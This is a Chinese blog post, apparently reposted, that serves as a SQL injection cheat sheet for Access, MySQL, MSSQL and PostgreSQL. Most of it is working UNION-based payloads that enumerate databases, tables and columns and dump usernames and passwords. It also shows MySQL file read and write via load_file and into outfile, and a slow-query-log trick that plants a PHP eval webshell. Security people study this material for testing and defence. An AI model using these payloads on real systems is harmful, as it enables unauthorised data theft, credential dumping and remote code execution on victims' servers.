我是靠谱客的博主 机智西牛,这篇文章主要介绍access mysql mssql postgresql熟悉四种基本数据库的注入,现在分享给大家,希望可以做个参考。

0x00 数据库介绍

access:无最高权限用户,不存在系统的表单,通常通过暴力猜解等方式测试,access是单独的,一库对应一网站,mysql那些数据库通常可以控制多个网站,access也可以采用偏移注入
mysql mssql postgresql:这三种数据库存在最高权限用户,root sa mdb等,mysql分不同的5.0版本上下差异存在不同的表单,

0x01 mysql mssql postgresql的基本语句

mysql读取文件:load_file()

复制代码
1
2
union select 1,load_file('d:/1.txt'),3,4,5

mysql写入内容到文件:into outfile

复制代码
1
2
union select 1,‘shell’,3,4,5 into outfile ‘d:/1.txt’

突破写入权限可参考之前的文章,secure_file_priv的突破,通常需要可执行页面去执行sql语句,通常借助sql命令行,phpmyadmin等,

复制代码
1
2
3
4
set global slow_query_log=1; set global slow_query_log_file='shell路径'; select '<?php eval($_GET[A])?>' or SLEEP(1);

mssql注入
-测列数:
order by 4
and 1=2 union all select null,null,null,null
-测显位:
and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,‘s’,null
-获取信息:
@@version 获取版本信息
db_name() 当前数据库名字
user、system_user,current_user,user_name 获取当前用户名
@@SERVERNAME 获取服务器主机信息
and 1=2 union all select null,db_name(),null,null
-获取表名:

复制代码
1
2
3
4
and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

-获取列名:

复制代码
1
2
3
4
5
6
7
8
9
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null and 1=2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null and 1=2 union all select null,(select top 1 col_name(object_id('manage'),4) from sysobjects),null,null

-获取数据:

复制代码
1
2
and 1=2 union all select null,username, password ,null from manage

postgresql语句
-测列数:

复制代码
1
2
order by 4
复制代码
1
2
and 1=2 union select null,null,null,null

-测显位:第2,3

复制代码
1
2
3
4
5
and 1=2 union select 'null',null,null,null 错误 and 1=2 union select null,'null',null,null 正常 and 1=2 union select null,null,'null',null 正常 and 1=2 union select null,null,null,'null' 错误

-获取信息:

复制代码
1
2
3
4
and 1=2 UNION SELECT null,version(),null,null and 1=2 UNION SELECT null,current_user,null,null and 1=2 union select null,current_database(),null,null

-获取数据库名:

复制代码
1
2
and 1=2 union select null,string_agg(datname,','),null,null from pg_database

-获取表名:

复制代码
1
2
3
1、and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public' 2、and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

-获取列名:

复制代码
1
2
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

-获取数据:

复制代码
1
2
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

-补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):

复制代码
1
2
and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

msql poadtgresql通常使用null来代替判断字段,mysql使用数字即可

最后

以上就是机智西牛最近收集整理的关于access mysql mssql postgresql熟悉四种基本数据库的注入的全部内容,更多相关access内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部